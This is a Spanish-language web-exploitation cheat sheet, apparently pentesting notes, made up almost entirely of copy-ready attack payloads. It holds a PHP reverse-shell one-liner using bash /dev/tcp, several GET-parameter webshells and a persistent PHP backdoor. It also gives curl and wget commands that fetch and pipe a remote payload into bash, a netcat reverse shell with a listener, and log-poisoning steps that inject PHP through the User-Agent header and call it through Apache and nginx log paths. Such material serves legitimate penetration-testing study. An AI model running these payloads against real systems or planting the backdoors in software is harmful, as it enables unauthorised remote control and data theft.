💥Explotación web
shell conchea
Oneliner PHP Revshell:
<?php system("bash -c 'bash -i &>/dev/tcp/<IP>/<port> <&1'");?>
Oneliner PHP reader:
<?php echo file_get_contents('/path/to/file'); ?>
Webshells:
<?php system($_GET["cmd"]); ?>
<?php echo shell_exec($_GET['cmd']); ?>
# Uso en URL por parámetro
cat.php?cmd=bash -c "bash -i <%26 /dev/tcp/<IPa>/<port> 0>%261"
# Uso por CURL
curl -s -X GET "http://<IP>/cat.php" | bash
Web Backdoor:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
----------------------------------------------------------------------------------------------
La del index (SSTi)
echo "nc -e /bin/bash <IPa> 1234" > index.html; python3 -m http.server 80
nc -lvnp 1234
# Llamada en URL
cat.php?parametro=curl <IPa>/index.html|bash
cat.php?parametro=wget -qO- <IPa>/index.html|bash
------------------------------------------------------------------------------------------------
HTTP Log Poisoning.
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://<IPv>"
User-Agent: <?php system($_GET['cmd']); ?>
/var/log/apache2/access.log&cmd=id
/var/log/nginx/access.log&cmd=id
----------------------------------------------------------------------------------------------
Última actualización